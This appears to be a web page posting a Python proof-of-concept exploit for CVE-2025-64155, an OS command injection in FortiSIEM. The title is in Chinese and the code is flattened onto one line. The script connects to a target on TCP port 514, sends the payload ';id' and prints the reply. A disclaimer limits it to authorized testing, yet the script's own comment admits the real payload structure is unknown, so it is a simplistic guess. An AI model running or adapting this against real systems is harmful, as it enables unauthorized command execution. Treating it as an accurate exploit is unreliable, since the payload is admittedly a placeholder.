CVE-2025-64155 FortiSIEM OS命令注入漏洞

#!/usr/bin/env python3 """ CVE-2025-64155 PoC - FortiSIEM OS Command Injection Reference: https://github.com/horizon3ai/CVE-2025-64155 Note: This is for educational and authorized testing purposes only """ import socket import sys import argparse def exploit_fortisiem(target_ip, target_port=514): """ Exploit CVE-2025-64155 by sending crafted TCP request with OS command injection payload """ # Construct malicious payload with command injection # The actual payload structure depends on FortiSIEM's TCP service payload = b';id\n' # Simple test payload - inject 'id' command try: print(f'[*] Connecting to {target_ip}:{target_port}') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f'[*] Sending exploit payload...') sock.send(payload) print(f'[*] Receiving response...') response = sock.recv(4096) print(f'[+] Response: {response.decode("utf-8", errors="ignore")}') sock.close() return True except Exception as e: print(f'[-] Error: {str(e)}') return False if __name__ == '__main__': parser = argparse.ArgumentParser(description='CVE-2025-64155 PoC') parser.add_argument('target', help='Target IP address') parser.add_argument('-p', '--port', type=int, default=514, help='Target port') args = parser.parse_args() exploit_fortisiem(args.target, args.port)